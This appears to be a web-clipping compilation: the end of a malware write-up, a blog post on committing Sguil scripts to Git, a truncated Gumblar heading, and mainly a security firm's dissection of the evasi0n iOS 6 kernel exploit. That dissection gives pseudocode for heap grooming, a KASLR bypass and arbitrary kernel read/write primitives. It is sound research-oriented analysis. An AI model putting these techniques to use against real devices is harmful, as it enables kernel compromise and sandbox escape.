the sample or develop signatures for it.  
  
Special thanks to Ryan Whelan for helping me out with this sample\!

##  References

\[1\] "Service Record List"

http://msdn.microsoft.com/en-
us/library/windows/desktop/ms685972\(v=vs.85\).aspx

\[2\] "SERVICE\_STATUS structure"

http://msdn.microsoft.com/en-
us/library/windows/desktop/ms685996\(v=vs.85\).aspx

\[3\] "Automatically Starting Services"

http://msdn.microsoft.com/en-
us/library/windows/desktop/ms681957\(v=vs.85\).aspx

\[4\] "Database of Installed Services"

http://msdn.microsoft.com/en-us/library/ms682544.aspx

# TaoSecurity: Using Git with FreeBSD Sguil Scripts

**Created:**| _11/11/2010 8:53:41 AM_  
---|---  
**Updated:**| _11/11/2010 8:54:05 AM_  
**Author:**| __  
**Tags:**| _BSD iDS/iPS Git monitoring_  
  

## Tuesday, November 09, 2010

### Using Git with FreeBSD Sguil Scripts

<img src='img/Temp2_7920.jpg' />Before today I never committed anything using
Git. Previously I used CVS, but never got around to trying something more
modern like SVN. However, I know several developers at work use Git, so I
figured I would try committing my FreeBSD Sguil scripts \(lame as they are\)
to Git at Sourceforge. This would allow me to keep track of changes and get
the code out of my own repository for sharing and safekeeping.  
  
I started by cleaning up the directory where I kept the scripts.  
  
After following the instructions to enable Git, I took these actions.  
  

[code]

      
    richard@macmini:~/taosecurity_freebsd_sguil$ git init  
    Initialized empty Git repository in /home/richard/taosecurity_freebsd_sguil/.git/  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git config user.name "Richard Bejtlich"  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git config user.email \  
    "taosecurity@users.sourceforge.net"  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git remote add origin \  
    ssh://taosecurity@taosecurity.git.sourceforge.net/gitroot/taosecurity/taosecurity  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git config branch.master.remote origin  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git config branch.master.merge refs/head/master  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git push origin master  
      
    taosecurity@taosecurity.git.sourceforge.net's password:   
    error: src refspec master does not match any.  
    fatal: The remote end hung up unexpectedly  
    error: failed to push some refs to 'ssh://taosecurity@taosecurity.git.sourceforge.net/gitroot \  
    /taosecurity/taosecurity'  
    
    
[/code]

  
That was unfortunate. I didn't see that error in the Sourceforge guide, but
after checking here I found that trying to add all the files might be the
right step.  
  

[code]

      
    richard@macmini:~/taosecurity_freebsd_sguil$ git add *  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git commit -am "Message"  
      
    Created initial commit bd18669: Message  
     28 files changed, 1400 insertions(+), 0 deletions(-)  
     create mode 100755 README  
     create mode 100644 SguildLoaderd.tcl.patch  
     create mode 100644 SguildMysqlMerge.tcl.patch  
     create mode 100755 barnyard2  
     create mode 100644 barnyard2.conf  
     create mode 100644 barnyard2.conf.patch  
     create mode 100644 log_packets.sh.crontab  
     create mode 100644 log_packets.sh.patch  
     create mode 100644 pcap_agent.conf.patch  
     create mode 100755 prep_platform.sh  
     create mode 100644 rc-adds.txt  
     create mode 100755 rc-conf.sh  
     create mode 100755 sancp  
     create mode 100644 sancp.conf.patch  
     create mode 100644 sancp_agent.conf.patch  
     create mode 100644 sensor_agent.conf.patch  
     create mode 100755 sguil_database_install_pt1.sh  
     create mode 100755 sguil_database_install_pt2.sh  
     create mode 100755 sguil_sensor_install.sh  
     create mode 100755 sguil_sensor_install_patch.sh  
     create mode 100644 sguil_sensor_users.txt  
     create mode 100755 sguil_server_install.sh  
     create mode 100644 sguild.conf.patch  
     create mode 100755 sguild_adduser.sh  
     create mode 100755 snort  
     create mode 100644 snort.conf.patch  
     create mode 100644 snort_agent.conf.patch  
     create mode 100755 snort_src_install.sh  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git push origin master  
    taosecurity@taosecurity.git.sourceforge.net's password:   
      
    Counting objects: 30, done.  
    Compressing objects: 100% (29/29), done.  
    Writing objects: 100% (30/30), 17.31 KiB, done.  
    Total 30 (delta 4), reused 0 (delta 0)  
    To ssh://taosecurity@taosecurity.git.sourceforge.net/gitroot/taosecurity/taosecurity  
     * [new branch]      master -> master  
    
    
[/code]

  
That did it. I found that if I didn't make a change but tried to note one,
nothing happened \(as expected\).  
  

[code]

      
    richard@macmini:~/taosecurity_freebsd_sguil$ git commit -am "Commit scripts using Git"  
    # On branch master  
    nothing to commit (working directory clean)  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git push origin   
    mastertaosecurity@taosecurity.git.sourceforge.net's password:   
    Everything up-to-date  
    
    
[/code]

  
Next I made some fixes and committed those.  

[code]

      
    richard@macmini:~/taosecurity_freebsd_sguil$ vi README   
    richard@macmini:~/taosecurity_freebsd_sguil$ git commit -am "Modify README to reflect changing ExtNet."  
    Created commit 2ef21f3: Modify README to reflect changing ExtNet.  
     1 files changed, 3 insertions(+), 1 deletions(-)  
      
    richard@macmini:~/taosecurity_freebsd_sguil$ git push origin mastertaosecurity@taosecurity.git.sourceforge.net's password:   
    Counting objects: 5, done.  
    Compressing objects: 100% (3/3), done.  
    Writing objects: 100% (3/3), 413 bytes, done.  
    Total 3 (delta 2), reused 0 (delta 0)  
    To ssh://taosecurity@taosecurity.git.sourceforge.net/gitroot/taosecurity/taosecurity  
       bd18669..2ef21f3  master -> master  
    
    
[/code]

  
Checking out files is pretty easy, assuming Git is installed.  

[code]

      
    richard@neely:~$ mkdir gittest  
      
    richard@neely:~$ cd gittest  
      
    richard@neely:~/gittest$ git clone git://taosecurity.git.sourceforge.net/gitroot/taosecurity/taosecurity   
      
    Initialized empty Git repository in /home/richard/gittest/taosecurity/.git/  
    remote: Counting objects: 30, done.  
    remote: Compressing objects: 100% (29/29), done.  
    remote: Total 30 (delta 4), reused 0 (delta 0)  
    Receiving objects: 100% (30/30), 17.25 KiB, done.  
    Resolving deltas: 100% (4/4), done.  
      
    richard@neely:~/gittest$ cd taosecurity  
      
    richard@neely:~/gittest/taosecurity$ ls  
      
    barnyard2                sguild_adduser.sh  
    barnyard2.conf           sguil_database_install_pt1.sh  
    barnyard2.conf.patch     sguil_database_install_pt2.sh  
    log_packets.sh.crontab   sguild.conf.patch  
    log_packets.sh.patch     SguildLoaderd.tcl.patch  
    pcap_agent.conf.patch    SguildMysqlMerge.tcl.patch  
    prep_platform.sh         sguil_sensor_install_patch.sh  
    rc-adds.txt              sguil_sensor_install.sh  
    rc-conf.sh               sguil_sensor_users.txt  
    README                   sguil_server_install.sh  
    sancp                    snort  
    sancp_agent.conf.patch   snort_agent.conf.patch  
    sancp.conf.patch         snort.conf.patch  
    sensor_agent.conf.patch  snort_src_install.sh  
    
    
[/code]

  
So, now my scripts are available for me to add changes and for anyone who
might be interested to retrieve them.  
Tweet

# Azimuth Security: From USR to SVC: Dissecting the 'evasi0n' Kernel Exploit

**Created:**| _2/18/2013 1:04:26 PM_  
---|---  
**Updated:**| _2/18/2013 1:04:26 PM_  
**Author:**| __  
**Tags:**| _iOS_  
  

From USR to SVC: Dissecting the 'evasi0n' Kernel Exploit  
---  
| <img src='img/Temp2_952.gif' width='15' height='15' />|  _posted by Tarjei
Mandt @2/13/2013 08:30:00 AM_  
---|---  
The evasi0n jailbreak leverages an impressive set of vulnerabilities that
collectively enable users to fully jailbreak their iOS 6.x based device. While
the user land component was an impressive feat on its own, the kernel exploit
used to evade sandbox restrictions as well as code signing, holds an equally
impressive array of sophisticated exploitation techniques. In this blog entry,
we detail the leveraged kernel vulnerability and show how evasi0n goes to
great lengths to overcome security hardenings such as kernel address space
randomization and kernel address space protection.  
  
  

##  The IOUSBDeviceFamily Vulnerability

The kernel vulnerability leveraged by evasi0n lies in the
com.apple.iokit.IOUSBDeviceFamily driver in iOS. An application may talk to
this driver using the IOUSBDeviceInterface user client, allowing it to access
and communicate with a USB device as a whole. This is typically assisted by
leveraging functionality of the IOUSBDeviceLib userland COM plugin, which
implements the IOUSBDeviceInterfaceClass and interfaces with the methods
exposed by IOUSBDeviceInterface \(for a list, see this page\). In order to
talk to a device, endpoints called pipes are provided to which applications
and services can write to and read from. These pipes, such as the default
control pipe, are abstracted by the interface class and exposed only as index
values to user space components, but are at the lower layer referenced by
their pointer value to the backing kernel pipe object.  
  
In the com.apple.iokit.IOUSBDeviceFamily driver, several methods that accept a
pipe object pointer from user space fail to perform sufficient validation and
only check if the pointer passed in is non-null. An application with the
ability to communicate with usb devices \(essentially holding the
'com.apple.security.device.usb' entitlement\) may interact with the
IOUSBDeviceInterface directly by invoking functions such as
**IOConnectCallMethod\(\)** or **IOConnectCallScalarMethod\(\)** , and can
therefore provide an arbitrary pipe object pointer to these methods. This may
result in arbitrary code execution if the memory referenced by the provided
pipe object pointer can be controlled from user space.  
  
In evasi0n, the method with selector 15 \(**stallPipe**\) is used to trigger
the vulnerability. The assembly output of the processing function in
com.apple.iokit.IOUSBDaviceFamily is shown below.  
  
0000:80660EE8 ; unsigned int stallPipe\(int interface, int pipe\)  
0000:80660EE8  
0000:80660EE8 PUSH \{R7,LR\}  
0000:80660EEA MOVW R0, \#0x2C2  
0000:80660EEE MOV R7, SP  
0000:80660EF0 MOVT.W R0, \#0xE000  
0000:80660EF4 CMP R1, \#0 // is pipe object pointer null?  
0000:80660EF6 IT EQ  
0000:80660EF8 POPEQ \{R7,PC\}  
0000:80660EFA MOV R0, R1  
0000:80660EFC BL \_\_stallPipe  
0000:80660F00 MOVS R0, \#0  
0000:80660F02 POP \{R7,PC\}  
  
0000:8065FC60 \_\_stallPipe  
0000:8065FC60 LDR R1, \[R0,\#0x28\] // check if value in pipe object is 1  
0000:8065FC62 CMP R1, \#1  
0000:8065FC64 IT NE  
0000:8065FC66 BXNE LR  
0000:8065FC68 LDR R2, \[R0,\#8\] // get object X from pipe object  
0000:8065FC6A LDR R1, \[R0,\#0x20\]  // get value from pipe object  
0000:8065FC6C MOV R0, R2  
0000:8065FC6E MOVS R2, \#1  
0000:8065FC70 B.W sub\_80661B70  
  
0000:80661B70 ; int sub\_80661B70\(int interface\)  
0000:80661B70  
0000:80661B70 PUSH \{R7,LR\}  
0000:80661B72 MOV R7, SP  
0000:80661B74 SUB SP, SP, \#8  
0000:80661B76 LDR.W R9, \[R0\]  // get object Y from object X  
0000:80661B7A MOV R12, R2  
0000:80661B7C LDR R0, \[R0,\#0x50\] // get object Z from object X \(1st arg\)  
0000:80661B7E MOV R2, R1 // 3rd arg  
0000:80661B80 LDR.W R1, \[R9,\#0x344\] // get value from object Y \(2nd arg\)  
0000:80661B84 LDR R3, \[R0\] // object Z vtable  
0000:80661B86 LDR.W R9, \[R3,\#0x70\] // get function from object Z vtable  
0000:80661B8A MOVS R3, \#0  
0000:80661B8C STR R3, \[SP,\#0x10+var\_10\]  
0000:80661B8E STR R3, \[SP,\#0x10+var\_C\]  
0000:80661B90 MOV R3, R12  
0000:80661B92 BLX R9 // call function from object Z vtable  
0000:80661B94 ADD SP, SP, \#8  
0000:80661B96 POP \{R7,PC\}  
  
In iOS 5, an attacker could typically create a fake object in user-mode and
pass a pointer to it in order to make the kernel operate on the user
controlled buffer. In iOS 6, however, Apple has separated user and kernel
address space \(see the section on 'Kernel Address Space Protection' in our
iOS 6 kernel security presentation\) and therefore renders this technique
ineffective. Moreover, with the introduction of kernel address space layout
randomisation \(KASLR\), iOS 6 furthermore complicates kernel exploitation as
the attacker can no longer easily infer where the kernel and driver modules
are mapped. In the following sections, we look at how evasi0n works its way
around these mitigations in order to gain full control of the iOS kernel.  

##  From bug to PC: Taming the kernel heap

Recall from the vulnerability that the attacker can pass any pointer he or she
wants to the vulnerable function. In order to exploit the vulnerability, this
pointer must not only reference valid memory but also memory that the attacker
can control. Essentially, this initial step requires a memory leak of some
kind as well as a way of injecting data into kernel memory. The strategy
evasi0n uses in this initial stage is to groom the heap with both allocations
semi-controlled by the user as well as allocations for which it can query the
address \(the leak\). This way, evasi0n can with a high degree of
predictability determine the address of the data it controls.  
  
In order to make allocations for which evasi0n can query the address, it calls
method selector 18 \(**createData**\) of the IOUSBDeviceInterface user client.
This method invokes the **createMappinInTask\(\)** method to request a mapping
to be created in the kernel task and produces an **IOMemoryMap** object whose
address is returned back to user mode as a "map token". The use of object
pointers as unique identifiers for user mode components is very common in iOS
and OSX. To complicate kernel exploitation, many such pointers are now added a
fixed unknown permutation value \(and thus retaining the uniqueness\) before
returned to user mode, but there are still examples of drivers that happily
convey this information.  
  
The **IOMemoryMap** object is allocated using **kalloc\(\)** and results in a
68 byte allocation, which falls into the kalloc.88 zone. Thus, an attacker who
is able to trigger allocations in this zone using controlled data, may
potentially be able to locate it in kernel memory. Before doing this, evasi0n
ensures that the target kalloc zone is in a defragmented state by repeatedly
creating **IOMemoryMap** objects until it has 9 bordering objects. This is
shown by the following pseudocode.  
  
void  
DefragmentHeap\( io\_connect\_t data\_port \)  
\{  
  
uint64\_t input;  
uint64\_t output\[3\];  
int outputCnt;  
int count;  
  
uint32\_t map\_token;  
uint32\_t prev\_map\_token;  
  
...  
  
while \( 1 \)  
\{  
input = 1024;  
outputCnt = 3;  
  
result = IOConnectCallScalarMethod\( data\_port, 18, &input, 1, output,
&outputCnt \);  
  
map\_token = \( result == KERN\_SUCCESS \) ? \( uint32\_t \) output\[2\] : 0;  
  
if \( \( prev\_map\_token - map\_token \) == 0xb0 \)  
\{  
count++;  
  
if \( count == 9 \)  
\{  
// sufficiently defragmented  
// start to inject user controlled data  
...  
\}  
\}  
else  
\{  
count = 0;  
\{  
\}  
\}  
  
Note that 0xb0 \(176\) is used as opposed to 0x58 \(88\) in the above code
when determining object adjacency. This is to compensate for an additional
allocation that is requested from the same zone \(before the **IOMemoryMap**
object is allocated\) when calling selector method 18.  
  
Once evasi0n has sufficiently defragmented the kalloc.88 zone using
**IOMemoryMap** objects, it creates a message holding 20 out-of-line
descriptors \(**mach\_msg\_ool\_descriptor\_t**\), each referencing 40 bytes
of user provided data. When sending this message in a **mach\_msg\(\)** call,
the kernel creates a **vm\_map\_copy\_t** structure for each ool descriptor
held by the message \(if the data size is less than a page\) and pads the user
provided data to it. This essentially produces a **sizeof\(
vm\_map\_copy\_data\_t \)** \(48 bytes\) + 40 bytes **kalloc\(\)** allocation
which falls into the same kalloc.88 zone.  
  
mach\_port\_allocate\( mach\_task\_self\( \), MACH\_PORT\_RIGHT\_RECEIVE,
&myport \);  
  
msg.header.msgh\_remote\_port = myport;  
msg.header.msgh\_local\_port = MACH\_PORT\_NULL;  
msg.header.msgh\_bits = MACH\_MSGH\_BITS \( MACH\_MSG\_TYPE\_MAKE\_SEND, 0\) | MACH\_MSGH\_BITS\_COMPLEX;  
msg.header.msgh\_size = sizeof\( msg \);  
  
msg.body.msgh\_descriptor\_count = 20;  
  
for \( i = 0; i < msg.body.msgh\_descriptor\_count; i++ \)  
\{  
msg.desc\[i\].address = layout;  
msg.desc\[i\].size = 40;  
msg.desc\[i\].type = MACH\_MSG\_OOL\_DESCRIPTOR;  
\}  
  
mach\_msg\( &msg.header, MACH\_SEND\_MSG, msg.header.msgh\_size, 0, 0, 0, 0
\);  
  
// point fakePipeObj into ool descriptor data  
fakePipeObj = map\_token - 0x340;  
  
The **vm\_map\_copy\_t** allocations stay in memory until the destination port
receives the message in another **mach\_msg\(\)** call, and therefore allow
evasi0n to force persistent allocations into the kalloc.88 zone while having
full control of the last 40 bytes. In turn, this allows evasi0n to reference
user controlled data by leveraging the pointer values of the **IOMemoryMap**
objects allocated previously. The line below depicts the heap layout in the
kalloc.88 zone that this process tries to obtain.  
  
\[ repeat 18 times \] \[ \[ vm\_map\_copy\_t | AAAA.. \] \[ vm\_map\_copy\_t | AAAA.. \] \[ IOMemoryMap \] \[ ... \] \[ IOMemoryMap \] \[ ...\] \[ repeat 8 times \]  
  
In order to control PC and eventually achieve arbitrary code execution,
evasi0n creates a very specific ool descriptor data layout. In fact, whenever
evasi0n needs to call a different function, all the **vm\_map\_copy\_t**
allocations are freed \(by receiving the message at the destination port\) and
a new message is sent with the updated ool descriptor data \(reallocating the
freed allocations\). An important goal in preparing this data is to have all
the object dereferences \(triggered by the **stallPipe** function in
com.apple.iokit.IOUSBDeviceFamily\) land in the last 40 bytes of the
**vm\_map\_copy\_t** allocations.  
  
Given that the kalloc.88 zone has been properly defragmented using
**IOMemoryMap** objects, evasi0n sets the address of the pipe object passed to
selector 15 to the last **IOMemoryMap** object - 0x340 \(pointing to the start
of the user controlled data of the 10th **vm\_map\_copy\_t** allocation\) and
preps the buffer for each ool descriptor as shown in the code below. This
allows evasi0n to invoke an arbitrary function and fully control the value of
the second \(r1\) and third argument \(r2\), while leaving the first argument
\(r0\) in a semi controlled state due to its use as an object \(with a
functional viable pointer\). We describe the implications of this in the
primitives section.  
  
void  
CallFunctionWithArgs\( io\_connect\_t data\_port, void \* function, int arg2,
int arg3 \)  
\{  
int layout\[10\];  
uint64\_t input;  
  
layout\[0\] = fakePipeObj + 0xC;  
layout\[1\] = fakePipeObj + 0x10;  
layout\[2\] = arg2; // second arg  
layout\[3\] = fakePipeObj - 0x33C; // pointer to second arg + 0x344  
layout\[4\] = fakePipeObj - 0x5C;  
layout\[5\] = function; // function to call  
layout\[6\] = arg3; // third argument  
layout\[7\] = 0xDEADC0DE;  
layout\[8\] = 1; // is active \(checked in driver\)  
layout\[9\] = 0xDEADC0DE;  
  
// receive and send new message with updated layout  
PrepareHeapLayout\( data\_port, layout \);  
  
input = \(unsigned int\)\( fakePipeObj - 8 \);  
  
IOConnectCallScalarMethod\( data\_port, 15, &input, 1, 0, 0\);  
\}  

##  Finding the kernel base

Once evasi0n can control the program counter \(PC\), it proceeds to learning
the base of the kernel. Since iOS6, the kernel is slid on boot, offering 512
possible locations at which the kernel can be mapped. However, in spite of
this randomization, kernel address space is not fully randomized, partly due
to the ARM vector table being located at a known fixed address. In the classic
model, used in pre-Cortex chips as well as Cortex-A/R chips, the vector table
is initially held at address 0, but at runtime can be relocated to 0xFFFF0000
by setting the V bit \(high exception vectors\) in the control register \(CP15
c1\). Although more recent TrustZone enabled ARM cores such as the
Cortex-A\{n\} series allow the vector table to be relocated to an arbitrary
address, iOS-based devices stay true to the old model. The following set of
handlers are defined in the ARM vector table.  
  
Offset Handler  
===============  
00 Reset  
04 Undefined Instruction  
08 Supervisor Call \(SVC\)  
0C Prefetch Abort  
10 Data Abort  
14 \(Reserved\)  
18 Interrupt \(IRQ\)  
1C Fast Interrupt \(FIQ\)  
  
When an exception occurs, the processor simply begins to execute at the
specific offset, and the following dump shows how these handlers jump to the
relevant code in the ARM vector page.  
  
\(gdb\) x/8i 0xffff0000  
0xffff0000: add pc, pc, \#24 ; 0x18  
0xffff0004: add pc, pc, \#36 ; 0x24  
0xffff0008: add pc, pc, \#48 ; 0x30  
0xffff000c: add pc, pc, \#60 ; 0x3c  
0xffff0010: add pc, pc, \#72 ; 0x48  
0xffff0014: add pc, pc, \#84 ; 0x54  
0xffff0018: add pc, pc, \#96 ; 0x60  
0xffff001c: mov pc, r9  
  
In order to learn the address from where selector method 15 calls the
controlled function pointer, evasi0n generates an exception by invoking the
data abort exception handler \(**\_feh\_dataabt**\) directly from a separate
thread. In order to catch this exception, it calls
**thread\_set\_exception\_ports\(\)** to set up an
**EXCEPTION\_STATE\_IDENTITY** handler for the target thread, which causes the
exception to be dispatched to the
**catch\_exception\_raise\_state\_identity\(\)** function. This function can
be summarized as follows.  
  
kern\_return\_t  
catch\_exception\_raise\_state\_identity  
\(mach\_port\_t exception\_port,  
mach\_port\_t thread,  
mach\_port\_t task,  
exception\_type\_t exception,  
exception\_data\_t code,  
mach\_msg\_type\_number\_t code\_count,  
int \* flavor,  
thread\_state\_t in\_state,  
mach\_msg\_type\_number\_t in\_state\_count,  
thread\_state\_t out\_state,  
mach\_msg\_type\_number\_t \* out\_state\_count\)  
\{  
\*\(DWORD\*\)\( global.read\_buf + global.read\_addr\_cur - global.read\_addr
\) = in\_state->\_\_r1;  
global.exception\_pc = in\_state->\_\_pc;  
global.read\_addr\_cur += 4;  
  
bzero\( &out\_state, sizeof\( out\_state \) \);  
  
out\_state->\_\_sp = &custom\_stack\[custom\_stack\_size\];  
out\_state->\_\_cpsr = 0x30;  
  
if \( global.read\_addr\_cur >= global.read\_addr\_end \)  
\{  
out\_state->\_\_pc = &CallExitThread & ~1;  
bContinue = false;  
\}  
else  
\{  
out\_state->\_\_r0 = &global;  
out\_state->\_\_pc = &TriggerExceptionWithGlobal & ~1;  
\}  
  
out\_state\_count = ARM\_THREAD\_STATE\_COUNT;  
  
return 0;  
\}  
  
In the function above, **in\_state- >\_\_pc** is saved to
**global.exception\_pc** and allows evasi0n to leak the address in
com.apple.iokit.IOUSBDeviceFamily from where the data abort handler was
called. This pointer value is used to compute the base address of the kernel
as well as the base address of the com.apple.iokit.IOUSBDeviceFamily driver
module by leveraging **OSBundleMachoHeaders** data that can be requested from
**OSKextCopyLoadedKextInfo\(\)**. Specifically, by retrieving both the unslid
kernel text segment address and the unslid com.apple.iokit.IOUSBDeviceFamily
text section address, the kernel slide is computed as follows:  
  
slide = \( \( global.exception\_pc - IOUSBTextSectionAddrUnslid \) &
0xFFF00000 \)  
  
kernel\_base = \( KernelTextSegmentAddrUnslid & 0xFFFF0000 \) + slide  
  
Note also the additional code in
**catch\_exception\_raise\_state\_identity\(\)** which also allows evasi0n to
leak 4 bytes at the chosen address \(**global.read\_addr\_cur**\) for each
triggered exception. This is performed by prep'ing the heap such that
**read\_addr\_cur** is dereferenced and its value is put into r1. We can see
this by looking at the **TriggerException\(\)** function, called whenever
evasi0n uses this technique.  
  
void  
TriggerException\( io\_connect\_t data\_port, void \* function, int
addr\_read\_into\_r1, int unused \)  
\{  
uint64\_t input  
int layout\[10\]  
  
...  
  
layout\[0\] = fakePipeObj + 0xC;  
layout\[1\] = fakePipeObj + 0x10;  
layout\[2\] = 0x580EF9C;  
layout\[3\] = addr\_read\_into\_r1 - 0x344; // read address + 0x344 into r1  
layout\[4\] = fakePipeObj - 0x5C;  
layout\[5\] = function; // function to call  
layout\[6\] = unused; // third arg  
layout\[7\] = 0xDEADC0DE;  
layout\[8\] = 1; // must be 1  
layout\[9\] = 0xDEADC0DE;  
  
PrepareHeapLayout\( data\_port, layout \);  
  
input = \(unsigned int\)\( fakePipeObj - 8 \);  
  
IOConnectCallScalarMethod\( data\_port, 15, &input, 1, 0, 0\);  
\}  
  
This function is called by the wrapper function
**TriggerExceptionWithGlobal\(\)** , which is invoked by
**catch\_exception\_raise\_state\_identity\(\)**.  
  
void  
TriggerExceptionWithGlobal\( globaldata \* global \)  
\{  
TriggerException\( global.data\_port, 0xFFFF0010, global.read\_addr\_cur,
0x1234 \);  
\}  

##  Read and Write Primitives

Once the kernel slide is known and evasi0n has the ability to leak arbitrary
memory using the exception technique, its first step is to find a more
reliable way of leaking memory. A major drawback of leaking data using the
exception mechanism is that the kalloc zone needs to be prep'ed for each 4
bytes of memory one wants to leak. This may potentially introduce errors as
there is nothing preventing the system from allocating blocks from the
kalloc.88 zone between the time when a message is received \(and the blocks
are freed\) and a new message is sent \(reallocating those blocks\). Thus,
evasi0n attempts to find a more reliably way of leaking memory by locating the
**memmove\(\)** function within the kernel module. This is done by first
leaking the first two pages of the kernel text section and by following each
branch instruction \(and leaking the pages preceding the branch destination\)
until the **memmove\(\)** signature can be found. This works well because one
of the first calls in the kernel binary is **memset\(\)** which is located
close to the wanted **memmove\(\)** function.  
  
Having found the **memmove\(\)** function in memory, the next step is to
return data to a buffer that can be read from user-mode. Recall from the heap
grooming section that the first argument passed to the function that gets
called when leveraging the vulnerability points to the data portion of the
**vm\_map\_copy\_t** allocations \(passed in as data in the ool descriptor\).
Thus, as long as the length is small enough to fit into this buffer \(0x18
bytes or less\), **memmove\(\)** can be called directly with the wanted source
address to leak arbitrary memory. In the code below, evasi0n invokes
**memmove\(\)** to write the contents held by the source address back into the
**vm\_map\_copy\_t** data buffer. It then receives the message and copies out
the data from the ool descriptor where it sees that the buffer contents have
changed.  
  
int  
KernelReadSmallBuffer\( io\_connect\_t data\_port, int memmove\_offset, void
\* src, void \* dst, size\_t len \)  
\{  
int layout\[10\];  
uint64\_t input;  
  
...  
  
layout\[0\] = fakePipeObj + 0xC;  
layout\[1\] = fakePipeObj + 0x10;  
layout\[2\] = src; // second arg  
layout\[3\] = fakePipeObj - 0x33C;  
layout\[4\] = fakePipeObj - 0x5C; // first argument \(&layout\[4\]\)  
layout\[5\] = kernel\_base + memmove\_offset; // function to call  
layout\[6\] = length; // third argument  
layout\[7\] = 0xDEADC0DE;  
layout\[8\] = 1; // required  
layout\[9\] = 0xDEADC0DE;  
  
PrepareHeapLayout\( data\_port, layout \);  
  
input = \(unsigned int\) \( fakePipeObj - 8 \);  
  
IOConnectCallScalarMethod\( data\_port, 15, &input, 1, 0, 0\);  
  
mach\_msg\( &msg\_recv, MACH\_RCV\_MSG, 0, 0x114, myport, 0, 0 \);  
mach\_msg\( &msg\_send, MACH\_SEND\_MSG, msg\_send.base.header.msgh\_size, 0,
0, 0, 0 \);  
  
for \( i = 0; i < 20; i++ \)  
\{  
if \( memcmp\( msg\_recv.desc\[i\].address, layout, 40 \) \)  
\{  
memcpy\( dst, msg\_recv.desc\[i\].address, length \);  
\}  
\}  
\}  
  
If the requested buffer is larger than 24 bytes, evasi0n takes a different
approach as the data cannot easily be fitted into the 40 byte ool descriptor
buffer \(the copy starts 16 bytes into it\). To get around this limitation, it
corrupts the **vm\_map\_copy\_t** structure preceding the ool descriptor data
in memory to make the kernel believe it manages a different buffer of a
different size. This was a technique \(primitive \#2: arbitrary memory
disclosure\) presented in the talk Azimuth Security did on iOS 6 kernel
security at Hack in the Box and Breakpoint last year, and essentially allows
an attacker \(with the ability to corrupt a vm\_map\_copy\_t structure\) to
leak arbitrary memory of arbitrary length without any side effects \(i.e. no
need to repair the structure\).  
  
The diagram below depicts a typical layout of a **vm\_map\_copy\_t** structure
with data appended to it. As the data pointer \(kdata\) referenced by this
data structure is never freed, an attacker can modify 'Size' and 'kdata' in
order to have the message return the indicated memory.  
  
<img src='img/Temp2_951.gif' width='320' height='271' />  
  
The steps evasi0n takes for corrupting the **vm\_map\_copy\_t** structure in
memory are a bit more involved, but basically boils down to positioning a
crafted **vm\_map\_copy\_t** structure into one ool descriptor buffer and
invoking **memmove\(\)** to copy the fake structure over a real one in one of
the adjacent **vm\_map\_copy\_t** buffers. Once the **vm\_map\_copy\_t**
structure in memory is corrupted, the message is received, causing the kernel
to return the data specified back into an allocated region.  
  
int  
KernelReadBigBuffer\( io\_connect\_t data\_port, int memmove\_offset, int
source, void \*ouput, size\_t length\)  
\{  
int layout\[10\];  
uint64\_t input;  
my\_message\_t msg\_send;  
my\_message\_t msg\_recv;  
vm\_map\_copy\_t copy = \{ 0 \};  
  
// init msg\_send  
  
...  
  
copy.type = VM\_MAP\_COPY\_KERNEL\_BUFFER;  
copy.size = length;  
copy.cpy\_kdata = source;  
  
layout\[0\] = fakePipeObj + 0xC;  
layout\[1\] = fakePipeObj + 0x10;  
layout\[2\] = fakePipeObj - 0x70; // second arg  
layout\[3\] = fakePipeObj - 0x33C; // decides second arg  
layout\[4\] = fakePipeObj - 0x5C; // first arg \( &layout\[4\] \)  
layout\[5\] = kernel\_region + memmove\_offset; // function to call  
layout\[6\] = 44; // third arg  
layout\[7\] = 0x872C93C8;  
layout\[8\] = 1;  
layout\[9\] = 0xB030D179;  
  
for \( i = 0; i < 20; i++ \)  
\{  
if \( i == return\_data\_index \)  
msg\_send.desc\[i\].address = copy; // crafted vm\_map\_copy\_t structure  
else  
msg\_send.desc\[i\].address = layout; // fake pipeobj  
  
msg\_send.desc\[i\].size = 40;  
msg\_send.desc\[i\].type = MACH\_MSG\_OOL\_DESCRIPTOR;  
\}  
  
mach\_msg\(&msg\_recv.base.header, MACH\_RCV\_MSG, 0, 0x114u, myport, 0, 0\);  
mach\_msg\(&msg\_send.base.header, MACH\_SEND\_MSG,
msg\_send.base.header.msgh\_size, 0, 0, 0, 0\);  
  
input = \(unsigned int\) \( fakePipeObj - 8 \);  
  
// corrupt vm\_map\_copy\_t structure to read arbitrary memory  
IOConnectCallScalarMethod\( data\_port, 15, &input, 1, 0, 0 \);  
  
// read back the memory set in the vm\_map\_copy\_t structure  
mach\_msg\(&msg\_recv.base.header, MACH\_RCV\_MSG, 0, 0x114u, myport, 0, 0\);  
mach\_msg\(&msg\_send.base.header, MACH\_SEND\_MSG,
msg\_send.base.header.msgh\_size, 0, 0, 0, 0\);  
  
// copy out the leaked data from ool descriptor  
...  
\}  
  
Because evasi0n cannot set the destination pointer in a **memmove\(\)**
operation to an arbitrary value \(due to the requirement of needing the
control the vtable pointer at that location to call the wanted function\),
another technique needs to be used for writing to arbitrary memory. To solve
this problem, it simply searches for an STR R1, \[R2\] / BX LR gadget in
memory and uses that to write four bytes at a time. Once this gadget has been
found, it proceeds to patch all the needed locations in memory such as the
**sb\_evaluate\(\)** and **task\_for\_pid\(\)** routine. Although code pages
are initially non-writable, it finds the physical memory map of the kernel
\(**kernel\_pmap**\) and patches the relevant page table entries directly.  

##  Conclusion

With the introduction of KASLR and user/kernel address space separation, Apple
has significantly raised the bar for kernel exploitation in iOS 6. However, as
the evasi0n jailbreak demonstrates, reliable exploitation can still be
achieved once the right primitives are available. As the attack was partly
made possible using information leaks, it should be in Apple's best interest
to review drivers in iOS and make sure they don't leak valuable kernel address
information to user mode.  
  
Labels: iOS, Jailbreak, Privilege Escalation, Vulnerabilities

# Inside the Massive Gumblar Attack | Andrew Martin
**Created:**| _5/21/2009 10:13:15 PM_  
---|---  
**Updated:**| _5/21/2009 10:13:24 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

## Inside the Massive Gumblar Attack

